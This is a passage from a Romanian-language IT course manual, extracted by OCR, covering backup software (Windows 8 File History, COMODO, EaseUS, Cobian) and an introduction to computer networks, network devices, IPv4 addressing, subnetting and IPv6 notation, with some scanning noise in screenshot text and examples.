pe o alta partitie a aceleiasi memorii; daca memoria s-ar strica ati pierde toate datele.

Cand setati File History, puteti sa faceti public in reteaua locala (HomeGroup) dispozitivul pe
care se creeaza copiile de sigurantd. In acest mod toate calculatoarele care ruleaza sistemul de
operare Windows 8 pot face copii de siguranta pe acest dispozitiv, fiind usor sa creati un sistem
centralizat de copii de siguranta.
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File History nu este pentru oricine — unii utilizatori vor dori aplicatii alternative care pot face
copii de sigurantd a intregului sistem. Totusi, Windows 8 File History este usor de folosit si se

poate dovedi foarte folositor
Windows 7.

Software pentru backup:
1. COMODO Backup

»= COMODO
SF/ Backup

utilizatorilor mai avansati spre deosebire de aplicatia greoaie din

Backup

New Backup
Step 4: Creating Backup

5% Pause

Backup in progress... 2 minutes and 45 seconds remaining

(@ utiities

Backup started 16/11/2016 16:30:19

16.11.2016 16:30:30 Processing C:\sers\Public\Documents\Abvent\Artlantis Meda\02_wall\Sidng\Abvent_Std_Sidng A
16.11.2016 16:30:30 Processing C:\Users\Public'Documents \Abvent\Artlantis\Media\D2_wal\Sidng\Abvent_Std_Sidng\Av_wall_
16.11.2016 16:30:30 Processing C:\Wsers\Public\Documents\Abvent\Artlantis WMedia \02_Wall\Siding\Abvent_Std_Siding\AV_Wall_
16.11.2016 16:30:30 Processing C:\Users\Public\Documents\Abvent\Artlantis\Media\02_Wall\Sidng\Abvent_Std_Siding\AV_Wal_
16.11.2016 16:30:30 Processing C:\Lisers\Public\Documents\Abvent\Artlantis Meda\02_wall\Sidng\Abvent_Std_Sidng\AV_wall_
16.11.2016 16:30:30 Processing C:\Users \Public \Documents \Abvent \Artlantis WMedia\02_Wall\Sidng \Abvent_Std_Sidng\AV_Wall_
16.11,2016 16:30: 30 Processing C: WUsers'\Public\Documents\Abvent\Artiantis Meda\02_Wall\Sidng\Abvent_Std_Sidng'\AV_Wal_
16.11.2016 16:30:30 Processing C:\Users'Public\Doauments\Abvent\Artiantis Meda \02_Wall\Sidng\Abvent_Std_Sidng'\Planches,
16.11.2016 16:30:30 Processing C: sers\Public\Documents\Abvent \Artlantis Media \02_Wall\Sidng\Abvent_Std_Sidng'Planches_
16.11,2016 16:30:30 Processing C: Wsers'Public\Documents \Abvent\Artiantis Media \02_Wall\Sidng\Abvent_Std_Sidng'\Planches_ v
>

Shut down after backup is complete

on: 44,1 Everythingis uptodate & Share with friends

1 Upgrade = Menu S

System Backup
Backup Windows and create an image of system partition.

Disk Backup
Backup hard disks to an image file.

Partition Backup
Backup partitions or dynamic volumes to an image file.

File Backup
Easily backup files and folders to an image file.
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3. EaseUS Todo Backup

¥ E3seUs Todo Backup Free 9.0
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Smart Backup

Start backup now!
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4. Cobian Backup
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The log tab has been cleared. The log file with its i
Praventing the systes from entering sleeép mode...

** Backing up the task "Dowmloads™ +*%

Counting the files for the task "Dowmloads™...

If your unpacker cammot handle the archives created b
Starcing the Volume 3hadew Copy snapshot for the drit
The Volume Shadow Copy snapshot set has been created
Compressing to the archiwve "\\wmware-host)\5hared Folc
Changing the history item to Parked. Reason: first be
Compressing to the archiwve "C:'\Documents and Sectings
Connecting to "jon: 21"

TLS is not available on this server. Trying a plain ¢
The user "user™ has initiated a session on "jon:Zl™
Uploading the file "C:\Documents and Settings)\iddmini:z
The file “C:\Documencs and Settings‘\AdwinistratoriLoc
Deleting the Volume Shadow Copy snapshot "3e03£33d-e<
The Volume Shadow Copy snapshot set has been successi
Total backup time for "Downloads”: 0 hours, 0 minute:
+% Backup done for the task "Downloads”. Errors: 0. 1
The system can now enter sleep mode

Total backup time: 0 hours, 0 minutes, 19 seconds
*%%* Backup done. Errors: 0. Processed files: 10. Bs

L)l tasks
|Uﬁ:MahUﬁJ§

Files: 5  Size: 7,55 MB

[l ask properties | _lmH‘isbgry \')Lﬂﬂ _.

Alte software care pot fi utilizate pentru backup:

FileFort backup
BackUp Maker
Drivelmage XML
CrashPlan

Redo Backup
Yadis! Backup

ounk~wnE

7. Everyday Auto Backup
8. Iperius Backup

9. Genie Timeline Free

10. Disk2vhd

11. GFI Backup

12. Free Easis Drive Cloning
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8. Configurarea modului de acces la retea.

Obiective:

1. Definirea retelelor de calculatoare;
2. Distingerea tipurilor de retele:
- Retele cu fir;
- Retele fara fir.
3. Insusirea conectivitatilor de retea:
- IPv4;
- IPv6.
4. Specificarea procedurilor de configurare a protocoalelor de retea.

8.1 Definirea retelelor de calculatoare. Tipuri de retele.

O retea de calculatoare (engleza: computer network) leaga intre ele o multime mai mica sau mai
mare de calculatoare, astfel incat un calculator poate accesa datele, programele si facilitatile sau
resursele unui alt calculator conectat la aceeasi retea. De obicei este nevoie de masuri de
restrictie/siguranta a accesului.

Metodele de conectare sunt in continua dezvoltare si deja foarte diverse, incepand cu tot felul
de cabluri metalice si de fibra optica, chiar submarine, si terminand cu legéturi fara fir prin unde
radio cum ar fi Wi-Fi, WiMAX sau Bluetooth, prin raze infrarosii ca de ex. IrDA sau prin
intermediul satelitilor

Clasificare dupa topologie

Exemple de topologii ale retelelor de calculatoare

Topologia (structura) unei retele rezultd din modul de conectare a elementelor retelei intre ele.

Ea determina si traseul concret pe care circuld informatia in retea "de la A la B". Principalele

tipuri de topologii pentru retelele LAN sunt:

% topologia Bus (inseamna magistrald) - are o fiabilitate sporita si o viteza mare de transmisie;

+ topologia Ring (inel) - permite ca toate statiile conectate sa aiba drepturi si functiuni egale;

¢+ topologia Star (stea) - oferd o viteza mare de comunicatie, fiind destinata aplicatiilor in timp
real.

Retelele mai mari prezintd o topologie formata dintr-o combinatie a acestor trei tipuri.

Clasificare dupa modul de conectare

Retelele de calculatoare pot fi clasificate si dupd tehnlogia care este folositd pentru a conecta
dispozitive individuale din retea, cum ar fi fibrd opticd, Ethernet, Wireless LAN (din engleza si
inseamna "fara fir"), HomePNA sau Power line.

Metodele de conectare sunt in continua dezvoltare si deja foarte diverse, incepand cu tot felul
de cabluri metalice si de fibra opticd, cabluri submarine, si terminand cu legaturi prin radio cum
ar fi Wi-Fi sau Bluetooth, prin raze infrarosii (IrDA) sau chiar prin intermediul satelitilor.

Foarte raspandita este metoda Ethernet, termen care se refera la natura fizica a cablului folosit
si la tensiunile electrice ale semnalului. Cel mai raspandit protocol de comunicare in retelele
Ethernet se numeste CSMA/CD ("Carrier Sense Multiple Access / Collision Detection"). Daca
sunt utilizate undele radio, atunci reteaua se numeste retea fara fir (engleza: wireless).

"HomePNA" este un sistem de conectare intre ele a calculatoarelor si aparatelor "inteligente"
dintr-o locuinta, bazat pe fire normale de telefon sau cablu normal de televiziune.

In fine, sistemul "Power line communication" (PLC) se bazeaza pe reteaua de curent electric,
atat cea de Tnalta cat si cea de joasa tensiune, care practic ajung la orice loc din lume.
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Clasificare dupa relatiile functionale (arhitectura de retea)

Retelele de calculatoare mai pot fi clasificate in functie de relatiile functionale care exista dintre

elementele unei retele, ca de exemplu: Active Networking Architecture, Client-Server

Architecture si Peer-to-peer (workgroup) Architecture.

O alta clasificare functionala foloseste termenii:

% Storage Area Network (SAN) - o retea dedicatd interconectarii eficiente a dispozitivelor de
stocare a datelor

% Network Attached Storage (NAS) - dispozitive de stocare concepute pentru a fi atasate nu la
cate un calculator particular din retea, ci direct la retea, putand astfel fi puse la dispozitia
tuturor calculatoarelor retelei.

Clasificare dupa extindere

Retelele de calculatoare se impart dupa extinderea lor in urmatoarele tipuri: LAN, MAN, WAN
si, ceva mai nou, PAN. Retelele relativ mici, de exemplu cu cel mult cateva sute de calculatoare
in aceeasi cladire legate intre ele direct, se numesc Local Area Network (LAN). O retea de tip
LAN dar fara fir (prin unde radio) se numeste WLAN (Wireless LAN). Retele de mare intindere
geografica, de exemplu iIntre 2 orase, pe o tard, un continent sau chiar pe intreaga lume, se
numesc Wide Area Network (WAN). Retelele de tip WAN au fost initial foarte costisitoare.
Numai companiile mari isi puteau permite un WAN particular. La ora actuald insa, cele mai
multe conexiuni de tip WAN folosesc ca mijloc de comunicatie Internetul - acesta este universal
si public, deci nu foarte controlabil de catre un utilizator, in schimb insa foarte convenabil ca
pret. In sfarsit, PAN inseamni Personal Area Network - o retea de foarte mica intindere, de cel
mult cativa metri, constand din aparatele interconectabile din apropierea unei persoane, cum ar fi
o imprimantd sau un scanner, sau chiar aparatele pe care o persoand le poarta cu sine, ca de
exemplu un telefon mobil sau un smartphone, un player MP3 sau un aparat de navigatie GPS
portabil.

Retele personale (Personal Area Network)

Un Personal Area Network (PAN) este o retea de calculatoare folositd pentru comunicarea intre
cateva mici calculatoare sau si aparate multifunctionale inteligente (smart), apropiate unele de
altele. Exemple de dispozitive care sunt folosite in reteaua de tip PAN sunt imprimantele,
aparatele de fax, telefoanele mobile, Personal Digital Assistant (PDA-uri), scanere, aparate de
pozitionare si navigatie GPS, playere "inteligente" si altele. Raza de actiune a retelelor PAN este
aproximativ de la 6-9 metri. Retelele PAN pot fi conectate cu magistrale USB si FireWire. Cu
ajutorul unor tehnologii ca IrDA (unde infrarosii) si Bluetooth (unde radio) se pot crea si retele
de tip Wireless PAN (retele PAN fara fir).

Retele locale (Local Area Network)

Un LAN este o retea care acoperd o zond geografica restransa, cum ar fi la domiciliu, birou, sau
o cladire. Retelele LAN curente sunt bazate pe tehnologia Ethernet. De exemplu, o bibliotecd va
avea o conexiune prin fir sau de tip Wireless LAN pentru a interconecta dispozitive locale (ex.:
imprimante, servere) si pentru a accesa Internetul. Toate calculatoarele din biblioteca sunt
conectate prin fir de retea de categoria 5, numit UTP CATS cable, ruleaza protocolul IEEE 802.3
printr-un sistem de dispozitive interconectate care eventual se conecteaza si la Internet. Cablurile
care duc spre server sunt de tipul numit UTP CATSe enhanced cable; ele suporta protocolul
IEEE 802.3 la o viteza de 1 Gbit/s. In exemplul din dreapta reteaua a fost construiti in asa fel
incat calculatoarele angajatilor bibliotecii din partea dreptd a imaginii pot accesa imprimanta
color, Inregistrarile despre cartile imprumutate, reteaua academica si Internetul. Toti utilizatorii
pot accesa Internetul, si catalogul bibliotecii. Fiecare grup din retea poate accesa imprimanta sa
locala. In rest, imprimantele nu sunt accesibile din afara grupului respectiv. Toate dispozitivele
interconectate trebuie sd foloseasca nivelul 3 network layer din modelul de referintd OSI, fiindca
in acest exemplu este vorba de mai multe subretele (cu culori diferite). Subretelele din interiorul
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bibliotecii au viteza de numai 10/100 Mbit/s, conexiune Ethernet pind la utilizatorul final, si
Gigabit Ethernet catre ruter-ul principal, care poate fi numit si "layer 3 switch", fiindca el are
numai interfatd Ethernet si trebuie sd "inteleagd" IP. Mai corect ruterele se numesc: "ruter de
acces" (ruterul de sus este un ruter de distribuire care conecteaza la Internet), si "ruter al retelei
academice" - accesat de utilizator.

In prezent tehnologia Ethernet sau si alte tehnologii LAN conforme standardului IEEE 802.3
opereaza la viteze de peste 10 Mbit/s. Aceasta este rata de transfer teoretica maxima. IEEE are
insd proiecte de dezvoltare a standardelor de 40 si chiar 100 Gbit/s.

Retea academica (Campus Area Network)
Un Campus Area Network (CAN) este o retea de LAN-uri interconectate, asemanatoare cu cea
de tip MAN, dar ea se extinde pe o zona geografica limitatd, de exemplu a unei universitati.

In cazul unei universititi o retea CAN poate face legitura intre diferite cladiri ale campusului:
departamentele academice, biblioteca universitara, caminul studentesc. CAN este ca extindere in
general mai mare decat retelele locale LAN dar mai mic decit WAN. Retelele CAN au fost
create cu scopul de a facilita studentilor accesul liber la reteaua Internet si la resursele
universitatii.

Retea metropolitana (Metropolitan Area Network)

Retelele metropolitane (MAN) sunt retele de mare extindere care de obicei TImpinzesc orase

intregi. Aceste retele folosesc pentru legaturi cel mai des tehnologii fara fir (wireless) sau fibra

optica.
- Definitia IEEE Standardul IEEE 802-2001 descrie MAN ca fiind o retea metropolitana care
este optimizatd pentru o intindere geografica mai mare decit retelele locale LAN, incepand
de la cartiere rezidentiale, zone economice si pand la orase intregi. Retelele metropolitane
MAN la randul lor depind de canalele de comunicatii, si oferd un transfer moderat pana la
transfer nalt de date. Reteaua MAN in cele mai frecvente cazuri este proprietatea unui singur
operator (companie), dar reteaua este folositd de catre mai multe persoane si organizatii.
Retelele MAN mai pot fi detinute si conduse ca utilititi publice.
- Implementarea retelelor metropolitane MAN Unele tehnologii folosite pentru aceste scopuri
sunt ATM, FDDI si SMDS. Dar aceste tehnologii vechi sunt in procesul de substiturire de
catre retele Ethernet bazate pe MAN, ex: Metro-Ethernet. Retelele MAN, la fel ca multe
retele LAN, au fost construite fard fir datoritd folosirii microundelor, undelor radio, sau a
undelor laser infrarosii. Multe companii dau cu chirie sau inchiriaza circuitele de la
transportatori publici (din cauza costului ridicat al tragerii unui cablu prin oras). Standardul
actual de comunicare al retelelor metropolitane este "Distribuite Queue Dual Bus", DQDB.
Acesta este specificat in standardul IEEE 802.6. Folosind DQDB, retelele pot avea o
intindere de peste 50 km si pot opera la viteze de la 34 pina la 155 Mbit/s. Printre primii care
au creat retele MAN au fost companiile Internet peering points, MAE-West, MAE-East si
Sohonet media network.

Retea de arie largd (Wide Area Network)

WAN desemneaza tipul de retele de transport de date care acopera zone geografice mari si foarte
mari (de ex. de la un oras la altul, de la o tara la alta, de la un continent la altul), si folosesc de
multe ori facilitdtile de transmisiuni de date de la transportori publici (ca de ex. companiile de
telefonie). Tehnologiile WAN functioneaza in general la nivelele inferioare ale modelului de
referintd OSI: physical layer, data link layer si network layer.

Retea globala (Global Area Network)

Specificatiile retelei globale (GAN) au fost in curs de dezvoltare de catre multe grupuri de
specialisti. In general, reteaua globalda GAN defineste un model de asigurare a comunicatiilor
mobile intre un numar arbitrar de retele WLAN, zone de acoperire prin satelit, etc. In proiectul
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IEEE 802.20, IEEE a stabilit standardele pentru reteaua terestra GAN, valabile cu Incepere din
iunie 2008.

Internetworking

Tehnicile de internetworking (in sens de inter-networking, si nu internet-working) conecteaza

intre ele doud sau mai multe retele sau segmente de retea, folosind dispozitive ce opereaza la

nivelul 3 al sistemului de referintd OSI, cum ar fi un ruter. Orice interconexiune intre retele

publice, private, comerciale, industriale sau guvernamentale poate fi numita "internetworking".
In practica actual, retelele interconectate folosesc nivelul Internet Protocol (IP). Exista trei

tipuri de retele internetwork, in functie de cine le administreaza si cine are acces la ele:

« Intranet;

% Extranet;

« Internet;

Retelele de tip intranet si extranet pot avea sau nu si acces la Internet. Daca ele sunt conectate la

Internet, atunci ele trebuie sa fie protejate Impotriva accesului neautorizat din Internet. Internetul

nu este considerat parte constituenta a unui intranet sau extranet. Totusi el poate servi drept cale

de acces la unele portiuni ale extranet-urilor.

Echipamente pentru realizarea retelelor de calculatoare

Placa de interfata cu reteaua (Network Interface Card, NIC)

O placa de retea, adapter de retea sau placa de interfatd cu reteaua este o piesd / un circuit
electronic care permite calculatoarelor sa se lege la o retea de calculatoare. Ea asigura accesul
fizic la resursele retelei, care la randul Iui permite utilizatorilor sa creeze
conexiuni/sesiuni/legaturi cu alti utilizatori si calculatoare.

Repeater

Repeater-ul (se citeste aproximativ ri-'pi-tar) este un dispozitiv electronic care primeste semnale
pe care le retransmite la un nivel mai Inalt sau la o putere mai mare, sau de cealaltd parte a unui
obstacol, astfel ca semnalul sd poata acoperi zone mari fard degradarea calitatii sale.

Termenul ,;repeater” provine din telegrafie unde reprezintd un dispozitiv electromecanic
folosit pentru a retransmite semnale telegrafice. Aceastd definitie a continuat sd existe in
telefonie precum si la sistemele de transport de date.

In telecomunicatii definitia de repeater are urmatoarele sensuri standardizate:

% un dispozitiv analog care amplifica semnalul de intrare indiferent de natura sa (analoaga sau
digitala)

% un dispozitiv numeric care amplifica, redimensioneaza sau produce o combinatie din aceste
functiii asupra semnalului digital de intrare pentru a fi retransmis.

Ethernet hub

Un "hub" de retea (cuvantul englez hub se citeste aproximativ hab si inseamna butuc de roatd)
este un dispozitiv pentru conectarea altor dispozitive fie prin cablu rasucit (de tip twisted pair),
fie prin cablu de fibra optica; legitura permite ca reteaua sa se comporte ca un singur segment.
Hub-urile functioneaz la nivelul 1 (fizic) al sistemului de referinti OSI. In caz de blocare, hub-
ul este responsabil si pentru retransmiterea semnalului spre toate porturile sale.

Deseori hub-urile dispun de connectoare de tip BNC si/sau AUI, pentru a permite conectarea
la astfel de segmente de retele cum ar fi I0BASE2 si 10BASES. Aparitia switch-urilor a inlocuit
practic pe piatd hub-urile, dar ele totusi mai sunt intilnite la conexiuni mai vechi si in aplicatii
speciale.

Hub - detalii tehnice
O retea Ethernet unita prin hub-uri se comporta ca o retea partajata, fiindca la orice moment dat
un singur dispozitiv transmite, iar fiecare gazda este responsabild de detectarea eventualelor
coliziuni ale semnalelor, in care caz semnalul trebuie retransmis. In general hub-urile sunt
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dispozitive de transmitere de date cu randament scazut. Hub-urile nu duc evidenta despre traficul
care trece prin ele, orice pachet de date care inta prin unul din porturile disponibile este transmis
spre toate celelalte porturi. Pentru ca fiecare pachet de date este trimis la toate celelalte porturi,
are loc asa numitul proces de coliziune a datelor care franeaza fluxul datelor sub viteza
nominala. Necesitatea gazdelor (host) pentru detectarea coliziunilor de date limiteaza numarul de
hub-uri si marimea retelei. Pentru retele de 10 Mbit/s, sunt permise pana la 5 segmente (4 hub-
uri) intre doua statii de lucru finale. Pentru retele de 100 Mbit/s cifra se reduce la 3 segmente (2
hub-uri) intre doua terminale finale, si acest lucru este permis numai daca media de intarziere a
semnalului este scazuta.

Multe hub-uri detecteaza probleme tipice, asa cum ar fi coliziuni excesive pe unele porturi.
Retelele Ethernet bazate pe hub-uri sunt in general mai robuste decat retele Ethernet pe baza de
cablu coaxial, unde un dispozitiv cu malfunctiuni poate deactiva un segment intreg. Chiar daca
nu este partitionat automat, depanarea hub-urilor este o procedura mai usoara fiindca indicatorii
de activitate situati in dispozitiv pot reflecta sursa problemei; in ultima instantd, pentru a localiza
sursa unei probleme, dispozitivele pot fi deconectate de la hub pe rand, unul cate unul, mult mai
usor decét la un cablu coaxial.

Hub — folosire
Din punct de vedere istoric motivul principal pentru folosirea hub-urilor a fost pretul lor redus, in
comparatiei cu switch-urile. Dar indata ce preturile la switch-uri au scazut considerabil, situatia
s-a schimbat; totusi in anumite situatii speciale mai sunt folosite si azi hub-uri:

Un analizator de protocoale conectat la un switch nu poate intotdeauna primi toate pachetele
dorite, fiindca switch-ul separd porturile in diferite segmente. Conectarea analizatorului de
protocol la un hub 1i permite a vedea tot traficul de pe segment. (Si un switch se poate configura
pentru a permite ca un port sa asculte traficul de la un alt port. Aceasta se numeste port mirroring
= oglindirea unui port. Cu toate acestea, aceasta configuratic este mai costisitoare decat cea cu
hub-uri.)

Asa-numitele Computer Clusters necesitd ca fiecare membru (computer) sd poatd primi tot
traficul care duce spre clustere. Un hub va face acest lucru pe cale naturala; folosirea unui
parametru de punere in aplicare necesitd trucuri speciale. In cazul in care utilizatori finali au
acces la un parametru pentru a face conexiuni, de exemplu intr-o sald de conferinte, un utilizator
fara experienta, neglijent sau sabotor poate deactiva reteaua prin legarea impreuna a doua port-
uri, stabilind astfel o bucla. Aceasta situatie poate fi prevenita prin utilizarea unui hub; in cazul
dat bucla va deconecta alti utilizatori de la hub, dar nu tot restul retelei. (De asemenea, situatia
poate fi prevenita prin utilizarea unui switch, care poate detecta si solutiona problemele
provenite de la bucle, de exemplu prin punerea in aplicare a protocolului numit spanning tree.)

Switch

Un switch (numit si switch de retea sau comutator de retea) este un dispozitiv care realizeaza
interconectarea diferitelor segmente de retea pe baza adreselor MAC. Dispozitivele hardware
uzuale includ switch-uri, care realizeaza conexiuni de 10, 100 sau chiar 1000 MB pe secunda, la
semi-duplex sau duplex integral.

Semi-duplex inseamna ca dispozitivul legat astfel poate doar sa trimitad sau sa primeasca
informatii la un moment dat, in timp ce duplex integral inseamnd posibilitatea trimiterii si
primirii concomitente de informatii.

Utilizarea extinderilor special proiectate fac posibila realizarea unui numar mare de conexiuni
utilizand diverse medii de retea, incluzand tehnologii utilizate curent, precum Ethernet, Fibre
Channel, ATM, IEEE 802.11.

Dacd intr-o retea sunt prezente doar switch-uri si nu existd huburi, atunci domeniile de
coliziune sunt fie reduse la o singura legatura, fie (in cazul in care ambele capete suporta duplex
integral) eliminate simultan. Principiul unui dispozitiv de transmisie hardware cu multe porturi
poate fi extins pe mai multe straturi, rezultand switch-ul multi-strat (multilayer).
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Un Hub este cel mai simplu dispozitiv multi-port. Totusi, tehnologia folosita este considerata
depasita din moment ce un hub retrimite orice pachet de date primit la toate porturile sale cu
exceptia celui de la care 1-a primit. Atunci cand se folosesc calculatoare multiple viteza scade
rapid si incep sa apara coliziuni care incetinesc si mai mult conexiunea. Prin folosirea switch-
ului acest neajuns a fost rezolvat.

Exista 4 metode de retransmitere a datelor:
¢ Stocheaza si trimite (in engleza store and forward) - Switch-ul actioneaza ca un buffer si, in

mod uzual, realizeaza o suma de control pentru fiecare cadru retransmis.

% Cut through - Switch-ul citeste doar pana la adresa hardware a cadrului, inainte de a il
trimite mai departe. Nu existd detectie de erori la aceastd metoda.

« Fragment free - Metoda incearca sa retind beneficiile ambelor metode prezentate anterior.
Se verifica primii 64 de octeti din cadru, stocindu-se informatia legati de adresare. In acest
fel, cadrul isi va atinge intotdeauna destinatia. Detectia erorilor este lasatd in seama
dispozitivelor terminale de la nivelele 3 si 4, de obicei fiind vorba de routere.

% Comutare adaptiva (in engleza adaptive switching) - Metoda comuta automat intre cele trei
metode precedente.

Ruter

Un ruter (sau router) este un dispozitiv hardware sau software care conecteaza doud sau mai
multe retele de calculatoare bazate pe ,,comutarea de pachete” (packet switching). Aceste retele
pot fi cu fir (In engleza wired) sau fara fir (in engleza wireless). Functia indeplinita de rutere se
numeste rutare. In acest articol diferentierea intre rutere hardware si rutere software se face in
functie de locul unde se ia decizia de rutare a pachetelor de date. Ruterele software utilizeaza
pentru decizie un modul al sistemului de operare, in timp ce ruterele hardware folosesc
dispozitive specializate (de tip ASIC) ce permit o viteza mai mare de comutare a pachetelor.

Ruterele opereaza la nivelul 3 al modelului OSI. Ele folosesc deci adresele IP (de retea) ale
pachetelor aflate in tranzit pentru a decide catre care anume interfata de iesire trebuie sa trimita
pachetul respectiv. Decizia este luata comparand adresa calculatorului destinatie cu inregistrarile
(campurile) din tabela de rutare. Aceasta poate contine atat inregistrari statice
(configurate/definite de cdtre administratorul retelei), cat si dinamice, aflate de la ruterele vecine
prin intermediul unor protocoale de rutare.

Tipul de ruter cel mai cunoscut de catre consumatori este cel destinat conexiunilor casnice si
firmelor mici, ce nu fac decat sa trimitd pachetele IP intre calculatoarele din retea si Internet, prin
reteaua unul furnizor de servicii internet (ISP). Exista totusi multe alte tipuri de rutere care
conecteaza retele de intreprindere sau retele ISP.

8.2 Conectivitati de retea. Configurarea protocoalelor de retea.

IP (Internet Protocol) este un protocol care asigura un serviciu de transmitere a datelor, fara
conexiune permanentd. Acesta identifica fiecare interfatd logicd a echipamentelor conectate
printr-un numar numit ,,adresa IP”. Versiunea de standard folosita in majoritatea cazurilor este
IPv4. In IPv4, standardul curent pentru comunicarea in Internet, adresa IP este reprezentati pe 32
de biti (de ex. 192.168.0.1). Alocarea adreselor IP nu este arbitrara; ea se face de catre
organizatii insdrcinate cu distribuirea de spatii de adrese. De exemplu, RIPE este responsabila cu
gestiunea spatiului de adrese atribuit Europei.

Internetul este in proces de evolutie catre versiunea urmatoare de IP, numita IPv6, care practic
asteapta un utilizator major, care sa oblige folosirea acestei versiuni superioare si de cdtre altii.
Ramurile Ministerului Apararii al SUA (DoD) au anuntat ca n decursul anilor 2009 - 2011 vor
inceta relatiile cu furnizorii de servicii Internet care nu folosesc IPv6.
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IPv4

Adresele IPv4 au o lungime de 32 de biti (4 octeti). Fiecare adresd identifica o retea (network) si
o statie de lucru (work station) din cadrul retelei. Notatia obisnuitd este obtinutd prin scrierea
fiecarui octet in forma zecimala, separati intre ei prin puncte. De exemplu, 192.168.0.119 este
notatia folosita pentru adresa 11000000.10101000.00000000.000000015.

Clase de adrese

La inceputurile Internetului, adresele IPv4 se imparteau in 5 clase de adrese, notate de la A la E.
Impartirea se ficea in functie de configuratia binara a primului octet al adresei, astfel:

Clasa Primul octet in binar Prima adresa Ultima adresa

A OXXXXXXX 0.0.0.1 127.255.255.255
B 10XXXXXX 128.0.0.0 191.255.255.255
C 110xxXXX 192.0.0.0 223.255.255.255
D 1110xxxXx 224.0.0.0 239.255.255.255
B 11110xxx 240.0.0.0 255.255.255.255

Adresele retelelor au toti bitii de statie 0 si nu pot fi folosite pentru o statie. In plus, mai exista si

adrese de difuzare, care au toti bitii de statie 1. Pentru identificarea statiilor se folosesc numai

adresele de clasd A pani la C. In plus, existd doud intervale de adrese de clasd A nefolosite in

Internet:

+ Intervalul 0.0.0.0 - 0.255.255.255 nu se foloseste, pentru a nu fi confundat cu ruta implicita;

< Intervalul 127.0.0.0 - 127.255.255.255 este folosit numai pentru diagnosticarea nodului local
(intotdeauna acesta va fi cel care va raspunde la apelul unei adrese din aceasta clasa).

Din pacate, aceastd metoda risipea multe adrese IP, iar odata cu raspandirea Internetului a aparut

pericolul epuizarii spatiului de adrese. Pentru a solutiona aceasta problema, la Inceputul anilor

'90 au fost concepute mai multe solutii:

¢+ adrese private;

< CIDR;

s VLSM,;

Metodele de mai sus aveau rolul de a prelungi viata lui IPv4. in plus, a fost conceput si un nou

protocol, IPv6.

Adrese private

Dispozitivele neconectate la Internet nu au nevoie de o adresa IP unica. Pentru aceste dispozitive
au fost standardizate adresele private. Aceste adrese nu sunt unice la nivelul Internetului si de
aceea nu sunt rutate de dispozitivele de nivel 3. In RFC 1918 au fost definite trei intervale
rezervate pentru adresare privata:

% Adrese rezervate pentru clasa A: 10.0.0.0 - 10.255.255.255

¢+ Adrese rezervate pentru clasa B: 172.16.0.0 - 172.31.255.255

¢+ Adrese rezervate pentru clasa C: 192.168.0.0 - 192.168.255.255

Nu este obligatoriu ca fiecare bloc de adrese sd fie alocat unei singure retele. De obicei,
administratorul de retea va imparti un bloc in subretele; de exemplu, multe rutere pentru uz
personal folosesc subreteaua 192.168.0.0 - 192.168.0.255 (192.168.0.0/24).

Subretele

Atat adresele IPv4 cat si cele IPv6 folosesc subnetarea, care constd in impartirea adresei IP in
doua parti: adresa de retea si adresa de statie. Folosind o mascd de retea, calculatorul poate
determina unde sa imparta adresa IP (conform standardului RFC 950).

Subnetarea a apdrut ca solutie pentru problema epuizarii spatiului de adrese IP. Odata cu
subretelele a aparut distinctia intre adresarea "classfull" (care tine cont de clasele de adrese) si
adresarea "classless" (care ofera suportul pentru cAmpul de subretea).

In 1992 au fost introduse si mecanismele de rutare pentru adresarea classless. Aceste
mecanisme vizau atat protocoalele de rutare (CIDR), cét si protocoalele rutate (VLSM).
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VLSM
VLSM (Variable Length Subnet Mask) este un procedeu care presupune precizarea unei masti de
retea pentru fiecare adresa asociatd unei interfete. Acest lucru permitea impdrtirea unei clase de
adrese in mai multe retele de dimensiuni diferite, micsorand astfel irosirea de adrese IP.

De exemplu, pentru o retea de 20 de calculatoare (statii) se puteau folosi acum doar 32 de
adrese (o retea /27), fatd de 256 de adrese (o retea de clasa C, /24).

CIDR
CIDR (Classless InterDomain Routing) se referd la modul de reprezentare a adreselor IP in
tabela de rutare si la modul de trimitere a mesajelor de actualizare. In notatia CIDR, adresa IP
este retinuta Intotdeauna impreund cu masca de retea. De exemplu, o adresa IP de tipul 192.0.2.1,
cu masca 255.255.255.0, ar fi scrisd in notatia CIDR ca 192.0.2.1/24, deoarece primii 24 de biti
din adresa IP indica subreteaua.

Faptul ca in tabela de rutare este precizatd si masca de retea permite agregarea (unirea)

retelelor vecine, reducdnd dimensiunea tabelei de rutare. De exemplu, retelele 192.0.2.0/24 si
192.0.3.0/24 vor fi retinute ca 192.0.2.0/23:

192.0.2.0/24 11000000.00000000.00000010. / 00000000
192.0.3.0/24 11000000.00000000.00000011. / 00000000

192.0.2.0/23 = 11000000.00000000.0000001 / 0.00000000

IPv6

IPv6 este un protocol dezvoltat pentru a inlocui IPv4 in Internet. Adresele au o lungime de 128
biti (16 octeti), ceea ce este considerat suficient pentru o perioadd indelungata. Teoretic exista
2128, sau aproximativ 3,403 x 1038 adrese unice. Lungimea mare a adresei permite Impartirea in
blocuri de dimensiuni mari si implicit devine posibila introducerea unor informatii suplimentare
de rutare in adresa.

Windows Vista, Mac OS X, toate distributiile moderne de Linux[1], precum si foarte multe
alte sisteme de operare includ suport "nativ" pentru acest protocol. Cu toate acestea, IPv6 nu este
inca folosit pe scara largd de catre furnizorii de acces si servicii Internet, numiti Internet Service
Providers sau ISP.

Adresele IPv6 sunt scrise de cele mai multe ori sub forma a 8 grupuri de cate 4 cifre
hexazecimale, fiecare grup fiind separat de doua puncte (:). De exemplu,
2001:0db8:85a3:08d3:1319:8a2e:0370:7334 este o adresa IPv6 corecta.

Dacd unul sau mai multe din grupurile de 4 cifre este 0000, zerourile pot fi omise si inlocuite
cu doud semne doud puncte(::). De exemplu, 2001:0db8:0000:0000:0000:0000:1428:57ab se
prescurteaza 2001:0db8::1428:57ab. Aceasta prescurtare poate fi facuta o singura data, altfel ar
putea apdarea confuzii cu privire la numarul de campuri omise. Plecand de la adresa
2001:0000:0000:ffd3:0000:0000:0000:57ab, prescurtarea 2001::ffd3::57ab ar putea sa insemne
2001:0000:0000:0000:0000:ffd3:0000:57ab, 2001:0000:ffd3:0000:0000:0000:0000:57ab, sau
altd combinatie similara. Zerourile de la inceputul unui grup pot fi de asemenea omise, ca de
exemplu in adresa localhost ::1.

Toate adresele de mai jos sunt corecte si echivalente:
2001:0dpb8:0000:0000:0000:0000:1428:57ab

2001:0db8:0000:0000:0000::1428:57ab

2001:0db8:0:0:0:0:1428:57ab

2001:0db8:0:0::1428:57ab

2001:0db8::1428:57ab

2001:db8::1428:57ab

Ultimii 4 octeti ai unei adrese IPv6 pot fi scrisi in zecimal, folosind ca separator un punct.

